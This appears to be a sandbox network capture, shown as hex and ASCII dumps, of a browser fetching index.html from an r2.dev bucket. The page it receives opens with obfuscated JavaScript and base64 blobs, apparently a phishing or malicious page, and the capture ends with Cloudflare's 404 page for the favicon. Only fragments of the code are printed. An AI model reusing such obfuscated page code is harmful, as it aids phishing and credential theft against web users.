2024-10-18 09:19:45 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Timestamp	Bytes transferred	Direction	Data
2024-10-18 09:20:21 UTC	702	OUT	GET /index.html HTTP/1.1 Host: pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 09:20:21 UTC	259	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 09:20:21 GMT Content-Length: 703272 Connection: close Accept-Ranges: bytes ETag: "b6842d922ff451e6c566bd11ee9b8ee1" Last-Modified: Fri, 18 Oct 2024 08:43:18 GMT Server: cloudflare CF-RAY: 8d4773b3ea2e6b56-DFW
2024-10-18 09:20:21 UTC	1110	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 3e 79 50 57 46 66 50 55 62 3d 27 27 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 33 39 35 35 28 29 7b 76 61 72 20 5f 30 78 33 34 38 30 64 65 3d 5b 27 74 6f 4c 6f 77 65 72 43 61 73 65 27 2c 27 73 68 6f 77 27 2c 27 6c 6f 63 61 74 69 6f 6e 27 2c 27 6b 65 79 63 6f 64 65 27 2c 27 74 61 67 4e 61 6d 65 27 2c 27 73 68 6f 72 74 63 75 74 5c 78 32 30 69 63 6f 6e 27 2c 27 65 76 65 6e 74 27 2c 27 43 Data Ascii: <html><head><meta name="viewport" content="width=device-width, initial-scale=1.0"></head> <body><script>yPWFfPUb='';function _0x3955(){var _0x3480de=['toLowerCase','show','location','keycode','tagName','shortcut\x20icon','event','C
2024-10-18 09:20:21 UTC	1369	IN	Data Raw: 33 59 7a 76 59 63 78 74 78 5a 61 34 58 62 34 36 43 50 6d 7a 39 4d 35 76 48 63 51 74 42 71 61 6d 65 74 6e 64 55 56 73 38 74 56 55 4f 38 61 57 61 51 76 65 66 4f 34 37 56 61 4b 62 52 47 5a 32 64 52 49 47 38 68 6d 66 48 49 4b 47 6d 78 32 4d 5a 52 4d 4a 37 63 76 36 71 30 39 39 35 51 4f 46 4c 58 72 4d 74 68 71 72 7a 4d 4d 78 37 68 46 71 52 35 39 72 33 35 62 4f 30 41 71 4c 37 2f 79 68 73 54 58 50 58 6a 73 73 46 4c 5a 49 54 75 63 30 63 2f 4b 50 31 6e 44 56 2f 64 55 52 6f 72 54 54 61 4f 34 64 54 5a 36 6d 73 65 4c 73 2f 4c 49 65 53 68 5a 73 56 71 35 73 74 62 56 48 4c 4c 7a 32 72 4e 79 59 79 78 46 4c 58 39 50 66 66 72 6d 61 77 62 70 52 56 76 42 41 36 68 6b 63 67 4f 7a 63 74 33 73 57 6e 37 46 31 71 31 57 58 42 39 4c 65 59 51 64 6f 71 49 74 53 54 4c 71 44 32 5a 66 4f Data Ascii: 3YzvYcxtxZa4Xb46CPmz9M5vHcQtBqametndUVs8tVUO8aWaQvefO47VaKbRGZ2dRIG8hmfHIKGmx2MZRMJ7cv6q0995QOFLXrMthqrzMMx7hFqR59r35bO0AqL7/yhsTXPXjssFLZITuc0c/KP1nDV/dURorTTaO4dTZ6mseLs/LIeShZsVq5stbVHLLz2rNyYyxFLX9PffrmawbpRVvBA6hkcgOzct3sWn7F1q1WXB9LeYQdoqItSTLqD2ZfO
2024-10-18 09:20:21 UTC	1369	IN	Data Raw: 44 71 67 46 73 54 73 2b 52 76 35 46 55 55 52 57 52 30 30 61 4c 59 4c 6c 52 56 4f 4a 63 50 77 43 4b 34 30 37 54 4a 57 77 78 74 32 56 44 42 34 7a 38 76 4c 47 2f 39 49 5a 37 7a 6b 71 33 4b 2b 34 64 69 4d 57 4a 51 65 31 6a 79 33 45 63 44 39 37 43 71 31 56 30 72 36 53 54 55 66 33 48 69 69 49 69 6b 31 78 6f 69 49 69 4b 56 65 54 31 38 49 5a 39 48 7a 66 65 59 72 57 71 71 58 4a 36 2b 45 4d 2b 6a 35 76 76 4d 56 72 56 6b 32 6c 58 7a 48 2b 56 76 56 58 6a 42 66 68 4f 38 39 45 52 45 56 53 55 34 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 69 49 71 71 38 6f 6e 34 51 6f 76 52 63 50 72 4a 56 45 36 6c 66 6c 44 6e 38 59 62 50 52 6b 50 33 35 46 46 43 32 2f 42 76 6c 73 48 35 52 31 57 63 31 2f 78 63 6e 61 65 69 49 69 4b 58 58 43 69 32 4c 41 56 6a 6a 78 4a Data Ascii: DqgFsTs+Rv5FUURWR00aLYLlRVOJcPwCK407TJWwxt2VDB4z8vLG/9IZ7zkq3K+4diMWJQe1jy3EcD97Cq1V0r6STUf3HiiIik1xoiIiKVeT18IZ9HzfeYrWqqXJ6+EM+j5vvMVrVk2lXzH+VvVXjBfhO89EREVSU4iIiIiIiIiIiIiIiIiIiIiIiIqq8on4QovRcPrJVE6lflDn8YbPRkP35FFC2/BvlsH5R1Wc1/xcnaeiIiKXXCi2LAVjjxJ
2024-10-18 09:20:21 UTC	1369	IN	Data Raw: 73 6d 30 71 50 2b 34 2f 79 74 36 71 38 59 4c 38 4a 33 6e 6f 69 49 69 71 53 6e 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 46 41 66 4b 5a 74 35 64 54 59 63 75 41 47 79 4f 53 61 6e 63 65 31 77 61 34 66 63 63 71 38 71 32 75 6e 75 31 47 35 61 4f 71 71 5a 72 64 5a 39 76 71 49 71 6c 6f 37 4d 39 52 78 37 6d 79 4f 50 63 71 6c 4c 58 64 47 4a 76 61 34 61 31 76 37 4a 49 36 39 56 52 63 59 6a 31 4b 73 6e 69 41 65 6e 52 45 52 46 61 56 43 71 7a 48 4a 77 39 35 74 31 39 4c 50 39 54 43 70 69 55 4f 38 6e 44 33 6d 33 58 30 73 2f 31 4d 4b 6d 4a 59 72 6a 6e 7a 4f 66 38 33 51 4c 51 63 4e 2b 44 6a 37 4f 70 52 59 4c 46 32 4c 37 52 67 65 79 79 33 62 45 64 55 4b 61 6c 59 34 4d 61 41 33 57 66 4b 38 35 35 4d 59 30 62 53 34 35 48 7a 41 45 6e 49 41 6c 5a 31 Data Ascii: sm0qP+4/yt6q8YL8J3noiIiqSnERERERERERERERERERERERERFAfKZt5dTYcuAGyOSance1wa4fccq8q2unu1G5aOqqZrdZ9vqIqlo7M9Rx7myOPcqlLXdGJva4a1v7JI69VRcYj1KsniAenRERFaVCqzHJw95t19LP9TCpiUO8nD3m3X0s/1MKmJYrjnzOf83QLQcN+Dj7OpRYLF2L7Rgeyy3bEdUKalY4MaA3WfK855MY0bS45HzAEnIAlZ1
2024-10-18 09:20:21 UTC	1369	IN	Data Raw: 75 4f 50 46 71 68 70 39 36 78 48 68 39 46 66 6a 52 6e 59 33 59 64 77 48 59 71 43 56 6d 70 4d 4b 59 53 7a 4e 49 32 69 53 51 6c 37 67 66 4d 58 45 64 79 32 78 55 32 30 59 36 64 62 78 67 79 61 47 67 76 73 6b 31 33 73 4f 59 61 59 33 6e 57 6d 70 78 31 78 75 4f 38 44 79 43 63 74 6d 7a 56 56 76 4c 50 64 36 47 2f 32 79 6d 75 56 6e 71 57 56 64 46 55 73 44 34 70 57 48 59 52 39 6f 49 33 45 48 61 43 43 43 6f 76 38 41 47 43 74 6b 64 4b 66 31 69 53 54 33 6d 36 32 50 42 73 57 70 4d 53 67 44 59 63 69 30 43 37 54 74 47 37 76 48 4d 65 53 37 71 49 69 2b 31 59 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 52 45 55 56 36 65 73 4a 6e 45 47 44 6a 63 61 61 50 57 72 62 4f 34 7a 6a 49 62 54 43 64 6b 6f 37 67 41 37 39 52 53 6f 76 79 39 6a 5a 57 4f 5a 49 30 50 Data Ascii: uOPFqhp96xHh9FfjRnY3YdwHYqCVmpMKYSzNI2iSQl7gfMXEdy2xU20Y6dbxgyaGgvsk13sOYaY3nWmpx1xuO8DyCctmzVVvLPd6G/2ymuVnqWVdFUsD4pWHYR9oI3EHaCCCov8AGCtkdKf1iST3m62PBsWpMSgDYci0C7TtG7vHMeS7qIi+1YEREREREREREREREREREREREREUV6esJnEGDjcaaPWrbO4zjIbTCdko7gA79RSovy9jZWOZI0P
2024-10-18 09:20:21 UTC	1369	IN	Data Raw: 51 58 61 77 7a 38 7a 55 52 37 48 73 64 74 5a 4d 7a 69 78 34 34 74 50 31 62 43 4d 69 41 56 2f 4e 4c 43 30 4f 42 63 4d 6c 54 71 43 53 6d 69 71 6d 50 71 6d 36 7a 41 63 77 50 76 50 73 33 37 46 6e 74 4a 32 6a 47 34 36 4f 4c 76 7a 55 2b 74 56 57 71 6f 63 54 52 31 67 62 73 65 50 49 64 31 50 48 56 78 33 6a 73 30 56 58 69 77 39 69 4c 44 4f 6d 37 42 30 38 4e 52 41 32 52 6a 32 68 6c 64 51 79 4f 39 30 70 70 4f 42 42 2b 74 72 78 76 79 34 45 45 44 55 39 48 76 4a 36 6f 63 4a 34 6b 71 62 74 66 4b 6d 4f 37 4e 70 70 73 37 58 47 57 62 47 6a 65 4a 4a 42 75 4c 77 64 67 41 32 44 4c 57 33 6b 61 76 61 36 6b 4c 6e 41 78 35 74 50 6b 72 6c 56 61 4c 47 70 6e 5a 4a 68 37 67 59 5a 4d 37 2f 41 4c 50 55 6a 68 76 76 6b 65 4b 78 47 67 37 51 6b 62 61 61 62 46 47 4d 71 59 64 4e 79 45 6c 42 Data Ascii: QXawz8zUR7HsdtZMzix44tP1bCMiAV/NLC0OBcMlTqCSmiqmPqm6zAcwPvPs37FntJ2jG46OLvzU+tVWqocTR1gbsePId1PHVx3js0VXiw9iLDOm7B08NRA2Rj2hldQyO90ppOBB+trxvy4EEDU9HvJ6ocJ4kqbtfKmO7Npps7XGWbGjeJJBuLwdgA2DLW3kava6kLnAx5tPkrlVaLGpnZJh7gYZM7/ALPUjhvvkeKxGg7QkbaabFGMqYdNyElB
2024-10-18 09:20:21 UTC	1369	IN	Data Raw: 52 78 30 64 71 70 49 61 4b 6c 6a 48 67 52 51 78 68 6a 52 33 42 57 53 72 30 74 67 62 48 2f 41 4b 5a 68 4c 6a 78 79 41 39 66 49 4b 4a 67 77 4f 51 75 2f 7a 6e 41 44 6c 6d 54 36 4b 4d 74 48 75 67 2b 32 59 56 64 46 63 4c 2b 36 4f 37 33 64 75 54 6d 41 74 39 77 67 64 2b 69 30 2b 4d 52 35 52 37 4d 67 46 69 4e 4b 48 4a 39 6f 73 55 7a 7a 58 62 43 54 34 72 58 64 70 43 58 7a 51 50 42 45 46 51 37 72 32 65 49 34 38 53 41 51 65 49 7a 4a 4b 6d 39 46 6e 56 64 50 4c 69 54 79 2b 70 64 72 48 36 64 6e 44 37 32 71 61 6d 77 6d 69 71 4b 66 38 50 4a 47 43 33 7a 76 78 76 74 75 76 50 54 45 57 45 72 35 68 4b 71 4e 4e 69 4f 31 31 4e 75 6b 7a 79 61 36 56 6e 67 50 2b 53 38 5a 74 64 33 45 72 44 4c 30 67 71 4b 65 47 71 68 64 44 56 52 52 7a 78 50 47 54 6d 53 4e 44 6d 6b 64 6f 4b 30 2b 75 Data Ascii: Rx0dqpIaKljHgRQxhjR3BWSr0tgbH/AKZhLjxyA9fIKJgwOQu/znADlmT6KMtHug+2YVdFcL+6O73duTmAt9wgd+i0+MR5R7MgFiNKHJ9osUzzXbCT4rXdpCXzQPBEFQ7r2eI48SAQeIzJKm9FnVdPLiTy+pdrH6dnD72qamwmiqKf8PJGC3zvxvtuvPTEWEr5hKqNNiO11Nukzya6VngP+S8Ztd3ErDL0gqKeGqhdDVRRzxPGTmSNDmkdoK0+u
2024-10-18 09:20:21 UTC	1369	IN	Data Raw: 5a 53 7a 2f 4d 58 47 2b 58 58 46 2b 4a 62 33 7a 66 75 4a 35 65 41 4c 41 45 41 41 49 51 69 75 6d 53 38 55 58 70 39 5a 75 45 2f 55 79 4b 53 32 34 36 42 4c 41 45 41 41 47 52 4d 62 46 32 6c 57 58 69 48 53 50 53 4e 65 34 7a 37 79 78 55 67 53 77 41 41 41 48 35 36 66 71 54 34 72 76 55 55 2f 36 4b 54 45 6a 2f 2f 34 4a 62 33 6c 49 38 32 79 71 34 2f 69 47 39 72 30 6e 50 49 49 53 42 4c 41 41 41 41 53 58 37 38 6c 71 49 72 48 76 53 4a 4c 4c 5a 36 4e 73 55 32 72 66 43 56 39 79 65 35 33 4c 75 45 4c 41 45 41 41 41 6a 69 2b 7a 2b 6a 6e 6a 2b 4d 4e 59 70 73 6f 45 6a 38 47 44 48 6d 4e 74 68 41 6c 67 41 41 41 4d 53 77 61 33 54 4a 62 34 77 43 47 30 6a 69 2f 2f 69 41 45 67 66 33 55 4f 4b 62 6a 79 6e 52 2f 59 30 35 31 30 45 41 73 67 51 41 41 45 44 78 6a 72 65 4e 38 68 70 51 6e Data Ascii: ZSz/MXG+XXF+Jb3zfuJ5eALAEAAIQiumS8UXp9ZuE/UyKS246BLAEAAGRMbF2lWXiHSPSNe4z7yxUgSwAAAH56fqT4rvUU/6KTEj//4Jb3lI82yq4/iG9r0nPIISBLAAAASX78lqIrHvSJLLZ6NsU2rfCV9ye53LuELAEAAAji+z+jnj+MNYpsoEj8GDHmNthAlgAAAMSwa3TJb4wCG0ji//iAEgf3UOKbjynR/Y0510EAsgQAAEDxjreN8hpQn
2024-10-18 09:20:21 UTC	1369	IN	Data Raw: 4e 4a 48 5a 34 35 6a 32 7a 42 47 51 5a 4d 74 54 63 54 4c 6d 37 62 48 36 52 62 72 44 45 64 45 4e 6c 70 33 6d 37 51 31 66 64 56 45 75 71 6f 36 68 69 6f 33 6c 37 66 39 4c 35 4d 67 74 38 42 6a 58 73 4e 32 38 48 32 51 61 79 42 47 43 6f 41 6c 6d 47 44 44 55 33 55 2b 35 4a 4f 71 6c 79 67 6e 56 68 6e 50 41 69 64 52 71 33 4d 37 75 6f 36 72 36 67 4f 76 31 48 65 34 57 31 72 35 47 6c 31 47 37 59 42 67 59 43 79 42 4b 41 6f 51 70 6b 47 54 4c 55 33 45 79 35 71 2b 78 38 4d 7a 2f 39 55 4f 78 6e 72 39 49 55 37 6e 32 2b 6e 4c 37 33 32 56 39 41 6c 6f 4d 4e 5a 41 6e 41 55 41 57 79 44 42 6c 71 62 71 62 63 4e 52 77 5a 6a 71 6c 6f 4e 32 36 33 5a 5a 70 50 56 5a 2b 70 35 52 48 61 32 6c 68 4b 73 32 34 62 62 57 32 7a 4c 71 78 35 59 32 6e 4b 2f 47 72 61 47 6c 48 72 79 4f 48 62 71 56 Data Ascii: NJHZ45j2zBGQZMtTcTLm7bH6RbrDEdENlp3m7Q1fdVEuqo6hio3l7f9L5Mgt8BjXsN28H2QayBGCoAlmGDDU3U+5JOqlygnVhnPAidRq3M7uo6r6gOv1He4W1r5Gl1G7YBgYCyBKAoQpkGTLU3Ey5q+x8Mz/9UOxnr9IU7n2+nL732V9AloMNZAnAUAWyDBlqbqbcNRwZjqloN263ZZpPVZ+p5RHa2lhKs24bbW2zLqx5Y2nK/GraGlHryOHbqV
2024-10-18 09:20:21 UTC	1369	IN	Data Raw: 6d 2f 62 6c 7a 50 6f 69 74 57 61 75 4f 4f 2f 65 66 58 54 57 76 2b 72 72 4c 63 75 36 63 39 35 58 52 67 71 63 7a 39 71 49 50 4f 75 39 30 4d 35 4c 74 2f 4f 46 59 36 4a 6e 35 43 54 33 59 4a 6b 64 66 76 6a 68 64 4e 68 68 68 32 6b 63 64 64 52 52 39 50 72 72 72 32 74 31 33 33 72 72 4c 58 66 37 42 78 39 38 6f 47 33 7a 73 6d 50 48 44 6a 72 6a 6a 44 4f 30 4e 69 58 46 78 63 57 2b 2b 76 66 63 63 34 2f 59 64 74 78 78 78 32 6e 6c 64 39 31 31 6c 79 67 2f 38 63 51 54 74 66 49 74 57 37 5a 6f 62 61 72 63 63 73 73 74 51 71 5a 71 66 65 62 47 47 32 38 30 31 6d 66 75 76 50 4e 4f 72 57 35 65 58 70 34 6f 76 2b 4b 4b 4b 37 54 79 64 44 7a 2b 2b 4f 4e 75 65 35 64 66 66 72 6d 78 44 6c 4e 65 58 75 37 57 38 33 4c 78 78 52 64 54 64 37 66 2b 42 58 33 36 39 4f 6e 47 75 67 7a 58 56 2b 74 Data Ascii: m/blzPoitWauOO/efXTWv+rrLcu6c95XRgqcz9qIPOu90M5Lt/OFY6Jn5CT3YJkdfvjhdNhhh2kcddRR9Prrr2t133rrLXf7Bx98oG3zsmPHDjrjjDO0NiXFxcW++vfcc4/Ydtxxx2nld911lyg/8cQTtfItW7ZobarccsstQqZqfebGG2801mfuvPNOrW5eXp4ov+KKK7TydDz++ONue5dffrmxDlNeXu7W83LxxRdTd7f+BX369OnGugzXV+t

Timestamp	Bytes transferred	Direction	Data
2024-10-18 09:20:24 UTC	652	OUT	GET /favicon.ico HTTP/1.1 Host: pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.dev/index.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 09:20:24 UTC	180	IN	HTTP/1.1 404 Not Found Date: Fri, 18 Oct 2024 09:20:24 GMT Content-Type: text/html Content-Length: 27150 Connection: close Server: cloudflare CF-RAY: 8d4773c92bccddb4-DFW
2024-10-18 09:20:24 UTC	1189	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <link rel="icon" href="https://www.cloudflare.com/favicon.ico" /> <title>Not Found</title> <sty
2024-10-18 09:20:24 UTC	1369	IN	Data Raw: 32 20 7b 0a 20 20 20 20 20 20 20 20 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 31 30 25 2c 0a 20 20 20 20 20 20 20 20 35 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 35 70 78 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 36 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 31 30 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 70 78 29 3b 0a 20 20 20 20 Data Ascii: 2 { 0% { transform: translateX(0); } 10%, 50% { transform: translateX(5px); } 60% { transform: translateX(0); } 100% { transform: translateX(0px);
2024-10-18 09:20:24 UTC	1369	IN	Data Raw: 70 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 4c 65 61 72 6e 20 68 6f 77 20 74 6f 20 65 6e 61 62 6c 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 72 32 2f 64 61 74 61 2d 61 63 63 65 73 73 2f 70 75 62 6c 69 63 2d 62 75 63 6b 65 74 73 2f 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 50 75 62 6c 69 63 20 41 63 63 65 73 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 0a 20 20 20 20 20 20 3c 73 65 63 74 Data Ascii: p> <p> Learn how to enable <a href="https://developers.cloudflare.com/r2/data-access/public-buckets/" >Public Access</a > </p> </div> </section> <sect
2024-10-18 09:20:24 UTC	1369	IN	Data Raw: 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 32 34 2e 35 36 36 20 31 33 2e 32 37 37 43 31 32 31 2e 30 35 33 20 31 33 2e 32 37 37 20 31 31 38 2e 32 30 34 20 31 30 2e 34 32 38 38 20 31 31 38 2e 32 30 34 20 36 2e 39 31 35 33 34 43 31 31 38 2e 32 30 34 20 33 2e 34 30 31 39 31 20 31 32 31 2e 30 35 33 20 30 2e 35 35 33 37 31 31 20 31 32 34 2e 35 36 36 20 30 2e 35 35 33 37 31 31 43 31 32 38 2e 30 38 20 30 2e 35 35 33 37 31 31 20 31 33 30 2e 39 32 38 20 33 2e 34 30 31 39 31 20 31 33 30 2e 39 32 38 20 36 2e 39 31 35 33 34 43 31 33 30 2e 39 32 38 20 31 30 2e 34 32 38 38 20 31 32 38 2e 30 38 20 31 33 2e 32 37 37 20 31 32 34 2e 35 36 36 20 31 33 2e 32 37 37 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 Data Ascii: <path d="M124.566 13.277C121.053 13.277 118.204 10.4288 118.204 6.91534C118.204 3.40191 121.053 0.553711 124.566 0.553711C128.08 0.553711 130.928 3.40191 130.928 6.91534C130.928 10.4288 128.08 13.277 124.566 13.277Z" fill="#0055DC
2024-10-18 09:20:24 UTC	1369	IN	Data Raw: 33 30 34 20 39 39 2e 36 31 34 39 43 37 33 2e 31 38 38 38 20 31 30 30 2e 38 39 35 20 37 31 2e 32 35 35 39 20 31 30 38 2e 31 39 35 20 37 31 2e 32 35 35 39 20 31 30 38 2e 31 39 35 48 37 35 2e 35 34 35 39 43 37 35 2e 35 34 35 39 20 31 30 38 2e 31 39 35 20 37 38 2e 33 33 35 33 20 39 35 2e 39 36 31 31 20 36 38 2e 36 38 36 38 20 39 34 2e 30 34 34 35 43 35 39 2e 30 33 38 34 20 39 32 2e 31 32 37 38 20 35 36 2e 30 37 37 37 20 31 30 35 2e 34 30 36 20 35 36 2e 30 37 37 37 20 31 30 35 2e 34 30 36 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 33 36 2e 31 37 36 20 31 31 31 2e 39 35 33 43 31 Data Ascii: 304 99.6149C73.1888 100.895 71.2559 108.195 71.2559 108.195H75.5459C75.5459 108.195 78.3353 95.9611 68.6868 94.0445C59.0384 92.1278 56.0777 105.406 56.0777 105.406Z" fill="#0055DC" /> <path d="M136.176 111.953C1
2024-10-18 09:20:24 UTC	1369	IN	Data Raw: 2e 39 34 31 20 31 32 31 2e 31 37 20 31 30 38 2e 34 30 37 43 31 32 30 2e 37 30 34 20 31 30 38 2e 38 37 32 20 31 32 30 2e 33 33 35 20 31 30 39 2e 34 32 35 20 31 32 30 2e 30 38 33 20 31 31 30 2e 30 33 34 43 31 31 39 2e 38 33 31 20 31 31 30 2e 36 34 32 20 31 31 39 2e 37 30 31 20 31 31 31 2e 32 39 35 20 31 31 39 2e 37 30 31 20 31 31 31 2e 39 35 33 56 31 31 31 2e 39 35 33 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 30 33 2e 33 38 34 20 31 31 31 2e 39 35 33 43 31 30 33 2e 33 38 34 20 31 31 32 2e 36 31 32 20 31 30 33 2e 35 31 33 20 31 31 33 2e 32 36 34 20 31 30 33 2e 37 36 36 20 31 Data Ascii: .941 121.17 108.407C120.704 108.872 120.335 109.425 120.083 110.034C119.831 110.642 119.701 111.295 119.701 111.953V111.953Z" fill="#0055DC" /> <path d="M103.384 111.953C103.384 112.612 103.513 113.264 103.766 1
2024-10-18 09:20:24 UTC	1369	IN	Data Raw: 36 38 34 20 31 33 34 2e 39 39 35 20 33 31 2e 35 37 39 35 20 31 33 39 2e 37 39 32 20 33 31 2e 35 37 39 35 43 31 34 34 2e 35 38 39 20 33 31 2e 35 37 39 35 20 31 34 38 2e 34 37 38 20 33 35 2e 34 36 38 34 20 31 34 38 2e 34 37 38 20 34 30 2e 32 36 35 36 43 31 34 38 2e 34 37 38 20 34 35 2e 30 36 32 37 20 31 34 34 2e 35 38 39 20 34 38 2e 39 35 31 36 20 31 33 39 2e 37 39 32 20 34 38 2e 39 35 31 36 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 77 68 69 74 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3d 22 31 30 22 0a 20 20 20 Data Ascii: 684 